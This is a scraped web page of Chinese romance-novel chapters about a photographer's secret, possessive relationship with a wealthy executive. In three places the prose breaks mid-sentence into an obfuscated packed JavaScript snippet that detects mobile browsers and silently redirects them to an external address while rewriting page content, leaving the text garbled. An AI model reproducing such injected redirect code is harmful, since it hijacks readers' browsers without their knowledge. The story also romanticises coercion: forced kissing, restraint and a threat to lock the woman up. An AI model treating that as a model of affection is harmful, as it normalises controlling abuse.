她打算趁早把话跟秦颂说清楚,免得周笛在其中难做。 姜临夏想了想,在对话框中敲下一句开场白:【到家了?】 很快,对方发来回复:【我到家了】【姜小姐】 看着他补发过来的那句“姜小姐”,姜临夏无奈叹了口气,又敲下一行字:【秦先生,刚刚的事抱歉啊,慕锡川这人向来说话难听,你别放在心上。】 秦颂依旧很快回过来:【没事的,姜小姐。刚刚慕总也没说什么过分的话,我没有多心。今天聚餐散场的确有些晚了,是我们考虑不周,慕总误会也是人之常情。】言语间透着十二分的拘谨。 姜临夏忽然有些想笑,难怪慕锡川这么多年一直霸道不讲理,说话也恶毒难听,那些臭脾气都是被弱势下属给惯出来的。 不过,面对秦颂这个有着周笛朋友和慕锡川下属双重身份的特殊人设,姜临夏有点不知道该如何向他表述自己并无恋爱意向这件事了。 她不想伤害到秦颂的自尊心,也不想让自己显得自恋又自负。 就在姜临夏犹豫着要如何措辞的时候,却忽然瞥见,手机顶端原本显示秦颂名字的地方变成了“对方正在输入....”,对面似乎一直在写写停停,反复了很久,才终于蹦出一条新消息来。 秦颂:【姜小姐,我想冒昧问一下,你是在跟慕总谈恋爱吗?】 虽然慕锡川刚刚用了“挖墙脚”的字眼,可秦颂依旧不死心,犹豫再三还是抛出了那个明知故问的问题。 这些年不论是读书时期,还是工作以后,他接触过不少女孩子,形形色色,性格迥异,漂亮的有,内涵深厚的也有。 但他不得不承认,下午跟姜临夏短暂接触后,着实令他眼前一亮,姜临夏给了他以往认识的那些女人身上都没有过的心动。 所以,即便冒着被慕锡川打压甚至辞退的风险,他也想给自己争取一个靠近姜临夏的机会。 【没有,我们只是朋友,他乱说的。】 姜临夏无意隐瞒什么,只是她实在没办法向秦颂解释自己跟慕锡川的关系。 要说什么呢?难道要告诉秦颂,自己跟他的慕总其实是四年的床伴关系?她说不出口。 至于女朋友就更是无稽之谈了,这些年慕锡川始终不肯给她这个名分,她也没那个厚脸皮在背后给自己加戏。 怕秦颂误会自己是在暗示他什么,姜临夏赶紧顺势又追加了一句:【不过我目前并没有谈恋爱的打算,今天会去吃饭也是因为周笛一个人觉得尴尬,我才陪她一起的。】 话已至此,聪明如秦颂自然听懂了姜临夏的拒绝,便没再纠缠。 -- 第二天一早还不到六点钟,姜临夏就自己醒了过来。她躺在床上翻来覆去,企图寻觅一个舒服的姿势再睡个回笼觉,可折腾了好半天却依旧毫无困意。 最后实在窝得难受,姜临夏干脆起身下床,打算去工作室看看能找点儿什么事做。 虽然这间摄影工作室是姜临夏和周笛共同所有,但两人分工不同,除了偶尔涉及到一些重大决策外,姜临夏很少会去过问商务上的事。 这些琐碎的细节都是由周笛一个人搞定的,她只负责捧着相机去摄影棚里拍照,因此很少会出现在工作室,甚至有时连合同都是让人送到棚里签的。 所以当她周天一早八点刚过就踏进工作室大门的时候,两个来加班赶图的人像是看见了什么罕见天象一样,震惊得叼在嘴里的油条都忘记嚼了。 “夏夏姐,早啊!”其中那个女孩子率先反应过来,主动跟姜临夏打招呼,又有些不确定地问道,“夏夏姐也是来..加班的?” 说话的女孩子叫李可纯,跟她旁边那个叫邱晨的男生都是前段时间新招进来的后期。 姜临夏不想讲述自己清晨失眠的心路历程,便点点头认下:“嗯。你们忙吧,我进去找笛子姐了。” 她刚要走,一旁的邱晨站起身,一手豆浆一手油条地走到姜临夏面前:“夏夏姐,公司旁边新开了家早餐店,这几天在搞促销活动,我们俩早餐买多了,你要是不嫌弃的话就垫垫肚子。” 姜临夏还真有些饿了,昨晚到家后她心里烦闷得很,实在没胃口,直接省去了晚饭环节。后来不知道什么时候睡着的,一直到今天早上,别说吃饭了,连口水都没喝过。 姜临夏低头扫了眼桌面,见上面的确堆了不少没开封的食物,估计再来个人也吃不完,她便没再客气,从男生手里接过了早餐:“谢啦。加完班先别走,晚点请你们吃下午茶。”说完,她推门进了周笛的办公室。 周笛正埋头忙着工作上的事,没注意到有人进来,直到姜临夏双手撑在办公桌上俯身瞰着她,她才发现自己面前站了个人。 “吓我一跳!” 见来人是姜临夏,周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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周笛并不知情,还惊讶于姜临夏小小年纪就有这么不得了的娱乐圈人脉,而姜临夏又无法对她解释自己和慕锡川的关系,只好含糊认下。 这也就导致了这次莫名其妙蹦出个十八线的丛嫣来,周笛又默认那人是摸着姜临夏的门路来的。 姜临夏做摄影师这些年的确结识了不少明星网红,但她仔细回忆了一圈,也没想起丛嫣这么个人,或许是听朋友介绍来的吧。 不过她对这人到底是谁并没那么好奇,转而问周笛:“她的拍摄时间定在了什么时候?” “八月三十号和三十一号,两天。” “好。” 原本姜临夏说好要请来加班的小朋友们吃下午茶,结果在搜索外送的时候,发现附近新开了一家酒吧,看着还不错。 几人一经商量,都觉得吃吃喝喝比不上蹦迪听歌,干脆叫了辆车直奔酒吧。 由于是新开业,店内策划了不少活动,其中一个【买即送】的活动最为大家追捧--凡是在店内消费一瓶正装酒品,就会随机赠送两份尝鲜装。 姜临夏对酒了解不多,她本身酒量也不太好,每次喝完都头晕脑胀的难受好几天才能缓过劲儿,实在没那个必要花钱买罪受。 但今天看着吧台里五光十色排布的酒样,她忽然想放纵一回。一通激情下单后,服务生陆续把酒端上桌,单是赠品就挤满了两个大托盘。 虽然想着今天就今天了,可姜临夏心里还是有数的,她没敢直接碰高度数的烈酒,先是挑了个酒精度只有12的轩尼诗作为开场。 偏酸的口感配上入口时舌尖冰凉的触觉,姜临夏忍不住身体轻颤了一下。 见状,邱晨连忙递上一张纸巾,一脸关切道:“夏夏姐,你慢点喝。” 姜临夏接过纸巾,摆摆手:“没事没事,就是有点凉,适应一下就好了。” 两人一来一回两句话的工夫,周笛一杯白月光已经下肚,依旧面不改色。 她笑着对邱晨道:“别紧张,你夏夏姐喝酒一向都是这么菜的,给她点儿时间适应适应就好了。” “谁说我菜的?”姜临夏不服,“今天我就支棱一个给你看!” 说着,她把洛克杯里的香槟一饮而尽,又找服务生要了颗冰球,倒了半杯伏特加进去,大有今夜不醉不归的架势。 周笛难得见她这么上劲儿,被酒精刺激过的神经染上了几分兴奋,于是拉着姜临夏冲进舞池。 在路过旁边卡座的时候,恍惚间,姜临夏瞥见一个熟悉的身影--慕锡川一身正装坐在人群中间,格外显眼。 5. 第 5 章 看见慕锡川出现在酒吧,姜临夏的第一反应是委屈。 他们在一起的这四年里,慕锡川对她看得紧,十分反感她来酒吧、夜店这些乱七八糟的地方。 知道他醋劲儿大,姜临夏也乐意顺着他,除了周笛生日这样推无可推的日子外,她几乎从未踏足过任何娱乐场所。 可刚刚慕锡川坐在那里,明显一副很好适从的样子,一看就没少来。 这人以前每次管她的时候都摆出一副正人君子的姿态,结果背地里倒是挺会宽以待己的嘛。 姜临夏小声嘟囔着:“凭什么只许他州官放火,我这个平民小百姓还不能点个灯了?他没事能来找乐子,我也要撒欢儿,要放纵!” 说完,报复似的一头钻进了舞池里。 而这一幕,恰好被慕锡川的助理,陈宇撞了个正着--他刚从卫生间回来,就看见姜临夏被人拉着,从自己面前一晃而过,手里还攥着杯酒。 其实当晚慕锡川是去酒吧谈项目收购,工作上的事。 这家酒吧是他一个朋友开的,本意是想找个由头,叫上几个关系好的哥们出来一块儿喝喝酒,热闹热闹。 可慕锡川没空花一晚上的时间陪他们玩儿,干脆叫上合作公司的老板过来,品酒间把正事也一道谈了。 那老板也挺激动的,在座几位都是出身于陵城非富即贵的大家族,哪是他平时随便想见就能见得到的主儿? 见状,朋友不禁调侃慕锡川:“川哥,难怪这么多年也没见你给过哪个女人名分,你这满脑子装的都是工作和事业,哪里还顾得上谈情说爱了?” 慕锡川轻嗤一声,伸手从桌上捞过一杯威士忌,仰头送进嘴里,对他的话不承认也不否认。 那人还想再说什么,可还不等开口,陈宇就步履匆匆地走到了慕锡川跟前,附在他耳边悄声道:“慕总,我刚刚看见姜小姐了,她也在酒吧。” 昨天刚闹完脾气,今天就来酒吧这种乌烟瘴气的地方找消遣,姜临夏这女人还真是越来越不受管了。 慕锡川眉头蹙起:“她人在哪儿呢?” 陈宇抬手指向舞池:“那边,慕总,黑色吊带上衣,下身玫粉色裙子的就是姜小姐。” 慕锡川顺着他手指的方向看过去,脸色瞬间沉了下来。 -- 被周笛拖进舞池的时候,姜临夏就已经开始觉着头晕了,两只脚软绵绵的,在地上踩不踏实。 她酒量向来差劲,香槟虽然本身度数不高,却奈何气泡丰沛,后劲儿大得很,喝完没一会儿就要上头。 而伏特加对她来说又太烈了,本来姜临夏晚上就没吃东西,两杯杂酒下肚,胃里很快开始灼烧般的难受。 以前跟慕锡川在一起的时候,有他管着,姜临夏很少沾酒,极偶尔来了兴致,也不过就是喝上一罐果汁酒凑凑热闹。 她已经很多年没有感受过被酒精折磨的痛苦了。 姜临夏站在原地,一手捂着胃,身子微微佝偻着。就在她觉得快要撑不住的时候,一双手及时伸了过来,将她稳稳扶住。 如同触电般,姜临夏倏然抬起头来,就看见一双目光清澈的眼睛正紧紧盯着自己。 邱晨紧张而关切地询问道:“夏夏姐,你是哪里不舒服吗?我扶你去旁边坐会儿吧。”他看向姜临夏时,眼里满是担忧。 在看清来人是邱晨的一瞬间,姜临夏心中忽然不受控地生出一股失落来,但她很快收起了这份可笑的情绪,对邱晨喊到:“我胃痛,有点恶心,想去外面透透气。”她声音虚弱,费了好大力气才勉强把话送进邱晨的耳朵里。 直到酒吧大门打开的那一刻,新鲜的空气灌进肺里,姜临夏才终于如获新生,贪婪地大口呼吸着。 邱晨不知从哪儿弄来一瓶水,扭开瓶盖后递到姜临夏手里,她小口喝下,润了润嗓子,酒劲儿虽然没退,但胃里的不适感却随之减轻了些。 怕她脚下不稳会摔倒,邱晨全程用手臂护在姜临夏的身侧,两人距离很近,动作上也显得有些亲昵。 姜临夏不习惯跟不熟的人如此亲密无间,尤其是男人。她想借着邱晨的力站直身体,可一转身,却越过他的肩膀看见不远处站着个男人--慕锡川正黑着一张脸怒视着她,眼底猩红。 对上那道仿佛要杀人的视线,姜临夏心中非但没有丝毫畏惧,反倒在心底升起一丝暗爽--慕锡川是在意她的。 但很快,残存的理智占领了高地,姜临夏强迫自己回到现实中来:他们已经分手了。 而慕锡川之所以会愤怒,也并不是因为在意她,只是他不接受自己的猎物被别人捡走,哪怕是他不要的。 他本来就是只护食的疯狗。 不过,这只“疯狗”并没给她太多上演内心戏的时间,他快步走到两人面前,一把推开邱晨,将姜临夏扯到自己身边,全然不顾她那纤细雪白的手腕已经被他勒出了两道红印子。 邱晨不想撒手,努力想把姜临夏挡在自己身后,语气不悦地质问着来人:“你是谁?离夏夏姐远点儿。” 他尽量克制着声音中的颤抖,想把话说得更硬气些,可不知为何,面前这个男人明明什么都没做,却总是会给他一种挥散不去的压迫感。 那人不知是怒极反笑,还是根本没把他放在眼里:“该离远点儿的人是你,姜临夏是我的女人,我劝你最好别打她的主意,除非你不想在陵城混了,倒也可以试试。”他语气恶劣,嘴角扯起了个微妙的弧度来,眼底却没有一丝笑意。 邱晨不服,还想继续拉扯,却被姜临夏奋力拦下:“邱晨,你回去接着玩儿吧,不用管我了。” “可是....”邱晨不放心把姜临夏交到面前这个男人手里,他看起来可不是什么善类。而除了不放心外,他其实也有那么一点儿微不可察的不甘心。 但姜临夏坚持:“没事的,他会送我回家的,你去好好玩吧,不用担心我。” 话已至此,他也没什么立场再固执下去,目光流转,看向站在姜临夏身后的男人,男人也正挑眉看着他,脸上写满了不屑。 邱晨没再说什么,点点头,转身进了酒吧大门。 他不得不承认,那个男人虽然看上去一副不正经的模样,可他周身透着的气场却格外强大,以至于跟他说话的时候,邱晨都不自觉地放低了声调。 还有,刚刚他说姜临夏是他的女人,所以这个人....是夏夏姐的男朋友吗? --< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375490|168315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>慕锡川的车就停在酒吧门口,他大力扯着姜临夏的手腕,把人塞进车里。 见状,司机老吴连忙识趣地躲了出去。 车里就剩下他们两个人,姜临夏低头揉捏着被慕锡川攥红勒痛的手腕,没有要理人的意思。 慕锡川侧头看着她,忽然俯身将人压在身下,对着姜临夏的嘴唇亲了上去。 姜临夏没想到他居然搞偷袭,想抽身却又挣不开他的钳制,只好偏过头去,避开这个吻。 慕锡川意外扑了个空,却并不生气,他抬手捏着姜临夏的下巴,将她的脸扳正,迫使她跟自己对视:“亲一下怎么了?随便一个什么人都能跟你亲热,怎么就我不行?” 见他要犯浑,姜临夏不想接话,可又实在动弹不得,只好保持着望天的姿势躺在座位上,冷声提醒他:“慕锡川,我们已经分手了,你现在这样不合适。” “不合适?我说合适就合适。姜临夏,你记住,只要我没同意分手,你就还是我的。” 说着,他用食指拨弄着姜临夏脸旁的碎发,像是在询问,又像是自言自语般道:“你说,我是不是应该把你关起来?不然什么阿猫阿狗都敢来惦记我的女人。” 看着慕锡川眼中的狠戾,姜临夏丝毫不怀疑他哪天真能做出这样的事情来。 明知不该继续招惹慕锡川的,可听完他的话,姜临夏忽然心生恶劣。她嗤笑一声,不无挑衅地问到:“慕总该不会是在吃醋吧?” 慕锡川手指轻轻划过姜临夏的嘴唇,一遍一遍反复摩挲着:“是啊,我吃醋了,你的目的达到了。所以姜临夏,你闹够了吗?闹够了就回来吧,要是还没过瘾,我可以再给你放几天假。” 原来,他一直觉得自己是在无理取闹啊。 姜临夏倏地眸光黯然,声音淡淡道:“我没在和你闹,慕锡川,我是真的不想陪你玩儿了。” “你不想玩儿了?可我还没玩儿够呢,你说了不算。” 说着,慕锡川再次欺身压了上去,这回他把姜临夏禁锢在怀中,让她躲无可躲。 炽热的吻疯狂落在姜临夏的唇上,亲吻中带着轻轻的撕咬,稍一加重力道,姜临夏便吃痛般哼出声来。而这娇喘声传进慕锡川的耳朵里,便成了让他更加疯狂的奏鸣曲。 姜临夏伸手想要推开他,却无奈二人力量过于悬殊,根本推不动。反复尝试了几次未果后,她干脆放弃挣扎,老实躺平,任由慕锡川宰割。 而慕锡川如同狩到最心仪的猎物般,一路向下,顺着姜临夏的脖颈亲吻到锁骨,恨不得将她的每一寸肌肤都盖上独属于自己的印记。 不知过了多久,慕锡川手下忽然一顿,亲吻的动作也停了下来--他刚刚摸到姜临夏脸上一片潮湿。 慕锡川忽然有些烦躁,在黑暗中皱了皱眉,冷声道:“和我接吻,就这么委屈吗?” 月光透过车窗洒落在姜临夏的眼睛上,刚刚哭过的眼尾梨花带雨。 她提了口气,不答反问:“慕锡川,你不要我,为什么就不能放过我?”声音微颤,似带钩子,挠得人心痒痒。 慕锡川眸光闪动,一把将人抱住,在姜临夏耳边低语道:“我要你,我只要你。”说完,更加汹涌地吻了上去。 6. 第 6 章 原本还残留着一半的清醒意识,直到那句“我只要你”传进耳朵里,姜临夏再无反抗的筹码。 慕锡川向来最会拿捏人心。 她心一横,干脆放弃抵抗,双手攀上慕锡川的脖颈,热烈回应着他绵密而炽热的吻。 酒后不止吐真言,还会让人明白最爱是谁。 酒精可以麻痹神经,却阻拦不了身体,人在几乎失去意识的时候,身体会将她带去爱人的身旁。 这一刻,姜临夏忽然觉得未来不重要了,婚姻也不重要,她不知道自己的以后在哪里,她只知道她爱慕锡川,很爱很爱慕锡川。 就这样一直爱到爱不下去为止吧。 直到四片唇瓣分开,姜临夏依旧沉浸在刚刚那个长长的吻里,回不过神。 看着她眼神迷蒙的模样,脸上的红晕还没褪去,魅惑中透着娇憨,慕锡川有些心猿意马,总觉得忍耐力就要到极限了。 他抬手擦了擦姜临夏的嘴角,又摸出手机打给老吴:“上车,去临夏那儿。” “是,慕总。” 黑色宾利停在公寓楼门前,慕锡川抬手轻轻捏了捏姜临夏的脸:“到家了,下车吧。” 酒劲儿上头,姜临夏不耐烦地哼唧了一声,拨开慕锡川的手,埋头窝在他的怀里不肯动。 慕锡川也不急,低头附在她的耳边,柔声道:“乖,回家了,等下我们还有很多事情要做呢。” 温热的气息喷洒在姜临夏的脖颈处,如同有股电流在身体里穿行般,姜临夏忽觉浑身酥麻。 她没有听话地下车,而是一个翻身,跨坐到了慕锡川的腿上,声音软糯地撒娇道:“你抱我上去。” 姜临夏自觉是个要脸的人,平时只要慕锡川的司机在车上,她都会格外注意自己的言行,更不会主动做出这样暧昧过火的行为。 今天大概是有酒精的加持,她突然很想放纵一回。 慕锡川没再说什么,一只手攥紧姜临夏的细腰,另一只手推开车门,把人挂在身上,就这么走进了电梯。 一直到进家门,他都没让姜临夏的脚沾一下地面,而是直接将人抱进卧室,放到床上,伸手去扯她身上的那件黑色吊带上衣。 慕锡川像头饿狼咬住猎物不肯松嘴般噙住姜临夏,一寸挨着一寸亲吻、啃噬,恨不得将她一点点吞进肚中。 明明才两天不见,可他却仿佛已经积攒了很久的欲望,要在这一晚,在姜临夏身上,尽数发泄释放出来。 从卧室到浴室,再从浴室回到床上,两人一直折腾到夜里两点多才算结束。姜临夏累到几近虚脱,是被慕锡川抱进浴室,洗净擦干后又送回床上的。 慕锡川上身靠在垫高的枕头上,一手夹着烟,另一只手轻抚姜临夏的长发,低声诱哄道:“以后别再闹了,乖乖待在我身边,知道吗?你想买什么,想去哪玩儿,就跟我说。我要是不在的话就去找陈宇,我跟他交代过了,他都会给你安排好的。” 姜临夏侧过头看向慕锡川,抱在他腰间的手臂收得更紧了些:“我没有什么想买的,也不想去哪玩儿,就想让你陪着我。” 闻言,慕锡川满意地笑了笑,低头吻在她的头顶:“我明天一早要出差,一周后回来,乖乖在家等我。” 等烟燃尽,慕锡川起身穿好衣服离开。姜临夏送他出门,两人一个在里面一个在外面,隔着门槛浅浅拥吻道别。 不知是不是刚刚经历了短暂的分手和好,这个稀疏平常的吻在此刻却带了几分依依不舍的意味。 关好门后,姜临夏强忍住睡意,去浴室拿了条新浴巾。她有个毛病,要是头发没有干透就去睡觉,第说二天准保头疼。 姜临夏一边擦拭着半湿的头发,一边在家里四处转悠,目光忽然落到了一扇紧闭着的房门上。 这是一间储物室,里面堆着行李箱和一些不常用的东西,平时除了取送物品外,她很少会进去。 门打开,姜临夏看见地板上堆着半人高的礼物盒子,都是最近两个月慕锡川带过来的,或是差别人送过来的,她还没来得及拆封。 和慕锡川在一起的这四年,姜临夏从没开口向他讨要过什么,就连当初工作室揭不开锅,她都没想过要借慕锡川的势。 虽然姜临夏不要,但慕锡川还是给了她很多,从金钱车房,到首饰珠宝,再到服装衣物,只要是他能想得到的,都会给姜临夏提前备好。 说不喜欢是假,毕竟姜临夏也只是个俗人而已。可这样得来的快乐却又十分有限,因为钱财从来都不是她跟慕锡川在一起的决定性因素。 一直以来姜临夏所觊觎的,其实都是慕锡川这个人本身。 看着这一地的礼物,姜临夏心里很乱,她舍不得离开慕锡川,可又清楚地知道,他不会是自己的归宿。 难道她还要再继续这样无名无份地跟着他?还要继续当他那见不得光的金丝雀吗? 说得好听些,这叫金屋藏娇,可实际上呢?不过就是慕锡川不愿承认她的存在罢了。 姜临夏忽然有些迷茫,不知道该何去何从。这种明知得不到却又离不开的感觉,简直让人抓心挠肝。 擦干头发,再次躺回床上,姜临夏闭着眼睛等待睡意来袭。 在这短暂的清醒空档中,她再次给自己找到了坚持下去的理由:反正也放不下那个人,倒不如干脆认命,命运将她带到哪里就算哪里,等到真有一天不得不分开了,那就说明他们之间的缘分尽了。 或许爱就是这样,他什么都不用做,你自己就会一次又一次地找好台阶献给他,还生怕他不愿意走下来。 -- 慕锡川出差刚走,姜临夏就接了个给网剧拍摄宣传片的项目,整天泡在棚里拍摄,晚上收工到家后还要连夜粗剪片子。 这种高强度的工作状态对姜临夏来说,虽然不是家常便饭,但也不算太难得一见。 尤其是这两年,工作室的生意越来越红火,姜临夏也有不少长期合作的剧组团队,真忙起来,十天半个月见不到人也是常有的事。 对此,慕锡川也曾经表示过抗议:“你需要钱的话,我给你不就得了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375491|168315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,干嘛把时间排得这么满?我想见你都抓不到人影。” 每当这时,姜临夏都会两手扣住他的脖子,半开玩笑半认真道:“我得趁现在多攒点儿钱,万一哪天你不要我了,我也不用饿死。” 慕锡川知道这是她找茬儿的前兆,干脆不再接话,直接将人压在身下,用实际行动表达着不满。 实在是担心姜临夏的身体会吃不消,这天周笛忙完手里的工作后,叫了个车直奔摄影棚。 她进门的时候,姜临夏刚刚拍完上午最后一组造型的定妆照,正在电脑上查看有没有需要补拍的镜头。 周笛没敢打扰她,直到姜临夏合上电脑屏幕,她才上前一步,捧住姜临夏的脸左左右右仔细端详了半天:“瘦了!你这几天是不是没有好好吃饭?” 见她过来,姜临夏有些惊讶,笑着调侃道:“你怎么有空过来?不谈恋爱啦?” 周笛翻了个白眼,佯怒道:“我这不是怕你把自己饿晕在棚里嘛,才大老远的跑来看你,你个小没良心的,居然还笑我!” 闻言,姜临夏的笑意更浓了,她揽过周笛的肩膀,把人往外面带:“走走走,为了让你看到我的良心,中午请你吃大餐。” “真的?”周笛将信将疑,“什么大餐?” 姜临夏凑近她耳边,神秘兮兮道:“盒饭。哈哈哈!”说完,先一步跑进了休息室。周笛一边笑骂她学坏了,会耍人玩儿了,一边也跟着跑了进去。 进门的时候,工作人员正在发放午餐:“笛子姐来啦!” 周笛笑着点点头,从她手里接过盒饭,跟姜临夏一人一份,对坐着吃了起来。 虽然只是简单的工作餐,但菜品看着倒还丰盛。两人一边吃饭一边闲聊,从工作室聊到拍摄团队,又从休假旅行聊到人生大事,天南海北、古古今今的一通畅谈。 聊着聊着,周笛忽然想到什么:“临夏,我问你,你是不是谈恋爱了?” 姜临夏夹菜的动作一滞,惊讶于周笛敏锐的洞察力。可她转念一想:不应该啊,她跟慕锡川这么多年一直藏得好好的,周笛根本不可能发现的。 姜临夏夹起一块小酥肉塞进嘴里,故作轻松道:“没有啊,怎么了?” “也没什么,就是昨天听孟启提了一嘴,自打上次被你拒绝后,秦颂好像还挺低落的。孟启鼓励他勇敢些,主动追求幸福,但秦颂拒绝了,说是知道你的心思不在他身上,不想打扰你。我总觉得他话里有话,看你最近心情也不错,说不定真恋爱了呢,就想着来问问你。” 姜临夏摇摇头:“没谈恋爱。可能最近天气好吧,心情也跟着好了呗。” 她一边说,一边抬手在半空中比划着,看得周笛一脸问号:这一天天的大太阳当空照,都快晒死个人了,你管这叫天气好?? 不过周笛也没跟她掰扯天气的事,既然刚刚说完秦颂,她决定一碗水端平,于是又对姜临夏提了另外一嘴。 “对了,前两天邱晨还跟我旁敲侧击来着,问你是不是单身呢。我看那小子八成对你有意思。” 7. 第 7 章 听见邱晨的名字,姜临夏瞬间升起一丝心虚--那晚在酒吧门外,他和慕锡川见过面。 不但见过,两人还因为她闹得有些不愉快。 这些年来,姜临夏从没向任何人透露过慕锡川的存在,包括周笛这个和她最亲近的朋友。 一来,慕锡川不想被人知道他们的关系,姜临夏也不是个戏多的人。 二来,反正他们两个以后总归是要分开的,知道的人越多,到时候只会徒留笑柄,又何必自取其辱呢? 不过看周笛的反应,邱晨应该没有跟她提过那晚的事。她赶忙岔开话题,语气浮夸道:“你怎么看谁都对我有意思啊?搞得我都有点盲目自信了。再这样下去,我可要去追郑旭泽了。” 郑旭泽是一位新晋流量小生,前段时间上映的一部爆火古装剧就是他主演的,电视剧口碑极好,他也随之火出了圈。 周笛也追了那部剧,成为“女友粉”中的一员,她的老公人选开始在郑旭泽和孟启之间摇摆不定,为此没少被姜临夏嘲笑。 “嘿!”周笛白了她一眼:“扎我呢?” “我说认真的!”姜临夏一脸真诚地看着周笛,说出的话却格外欠揍,“虽然我还不认识郑旭泽,可既然你吃不到猪肉,我作为你的好朋友,总得努努力,争取让猪在你面前跑上两圈儿吧。” “找打!”周笛作势要打人,姜临夏端着餐盒灵活躲闪,这样插科打诨着,关于邱晨的话题很快就糊弄过去了,姜临夏也松了口气。 眼看着餐盒里的米饭见底,周笛这才想起来,她今天过来找姜临夏还有个正事来着。 “临夏,明天就是你生日了,今年的生日打算怎么过?还是去裴院长家吗?” 姜临夏点点头:“是啊,明天去裴伯伯家吃饭,伯母说要给我做好吃的。” 说起裴伯伯一家,她的思绪也跟着飘回了很多年前。 姜临夏是个孤儿,从小便无父无母,是在福利院长大的。她自己都不知道是什么时候被送进福利院的,反正记忆中的童年都是在那里度过的。 其实福利院的工作人员都还算和善,可毕竟要照顾的小孩子太多了,他们也是分身乏术,没办法及时关注到每一个孩子的情绪和需求。 所以那些年里,幼小的姜临夏虽然不用为吃饭穿衣发愁,却始终过得孤苦伶仃的。 福利院的院长是个年近四十岁的男人,名叫裴青山。他为人和善,偶尔闲下来了,就会亲自去看望这些可怜的孩子们。 裴青山有个幸福美满的家庭,妻子体贴温柔,夫妻俩相敬如宾,结婚多年从未发生过争执。他们还有一个儿子,叫裴临,比姜临夏大两岁,也正是读书的年纪。 裴青山平时工作很忙,为了给孩子们谋福利,经常需要四处奔波。而他的妻子王艾君是一名急诊医生,很多时候也都无法按时下班回家。 小小年纪的裴临有家难回,只好每天放学后去福利院吃饭,写作业,一直要待到很晚才被爸妈接走。 也是那个时候,姜临夏认识了裴临,两个年纪相仿的小朋友很快熟络起来。 姜临夏打小就聪明伶俐,很少哭闹,又长了张瓷娃娃般的小脸蛋,格外惹人疼爱。裴临总爱粘着她,还把自己家里那些好吃的好玩的东西拿给姜临夏。 裴青山原本就很喜欢姜临夏这孩子,自己儿子还有事没事地往人家小姑娘身边凑,久而久之,夫妇二人干脆让他们以兄妹相称,还时常叮嘱裴临是哥哥,要照顾妹妹。 而姜临夏也渐渐接纳了院长一家人,把他们当成是没有血缘的亲人。 姜临夏一直在福利院里生活到十八岁,成年后按照规定跟福利院解除了关系。 虽然关系已经不在,但裴青山夫妇对姜临夏很有感情,担心她一个女孩子在外生活不易,强行资助了她大学前两年的学费和生活费。 上了大学以后,姜临夏勤工俭学,大三那年在导师的帮助下,开始接一些广告和写真的拍摄工作。虽然片酬不高,但已经足够养活自己了,此后她就再没接受过裴青山夫妇的好意了。 裴临先她两年高中毕业,大学是在陵城一所很有名的医学院读的,空闲时间两人偶尔会见面,逢年过节,姜临夏也会去裴院长家里吃饭,不至于一个人冷冷清清。 或许正是年幼的这段经历,导致姜临夏对“家”有种近乎执念的渴望。 她也不是想逼婚慕锡川,她只是想给自己一个安定的生活,想结束这一直以来漂浮不定的状态。 那个人可以是慕锡川,也可以是其他任何人,只是刚好在她最想结婚的时候,忽然发现自己爱上了慕锡川。 每年姜临夏生日这天,裴青山妇都会叫她回家吃饭。即便是和慕锡川在一起之后,她每年的生日也都是跟二老一起过的。 慕锡川从没陪她过过一次生日,今年就更不用指望了,人家出差走了,人都不在陵城了,得七月初才能回来。 但每年的生日礼物他倒是都会记得送,珠宝首饰、服装箱包,但凡姜临夏提了一嘴喜欢什么,慕锡川就会让人把整个系列所有配色都给她买回来。 对于给她花钱这件事,慕锡川从不吝啬。 其实姜临夏早就习惯了慕锡川在这些重要日子里的缺席,倒谈不上什么失落,就是这一转眼竟然都已经六月底了,日子过得还真是快,她不免有些感慨罢了。 见她愣神,不知是想起了什么过往,周笛也跟着感慨道:“你和裴院长一家人的感情可真好。” “不过....”周笛忽然话锋一转,姜临夏觉得不妙,果然,就听她接着道,“你跟裴临毕竟没有血缘关系,虽然平时哥哥妹妹地叫着,但又不是真的兄妹。我看裴临那人就不错,长得白白净净的,人也斯文,又是金贵的外科医生,留学博士。那地位!那身价!那前途!你要是跟了他,怎么着也不算吃亏吧?更何况,裴院长对你这么好,你要真成了他们家的儿媳妇,岂不是亲上加亲!他们肯定高兴。” 姜临夏听得眉头直皱,赶紧夹起一块虾肉堵住周笛的嘴:“你可别乱讲!我跟裴临从小一起长大,跟亲兄妹没区别,哪有妹妹跟哥哥谈恋爱的?我看你就是想转行当媒婆了,拿我试手,今天一下子给我来了三个男嘉宾,服了你了!” 天气本来就热,姜临夏一着急,额头上渗出一层薄汗来。周笛知道她等下还有工作,就没再逗她。 一直待到快要收工的点儿,棚外忽然传来一阵汽车的轰鸣声,紧接着周笛快步跑去开门。 孟启提着两杯奶茶进来,一杯戳好吸管,喂到了周笛嘴里,另一杯则原封不动地递到了姜临夏手里:“临夏,请你喝奶茶。” 姜临夏接过奶茶:“谢啦,还有我的哪!” “那当然!有了男朋友也不会忘了我的宝贝你的 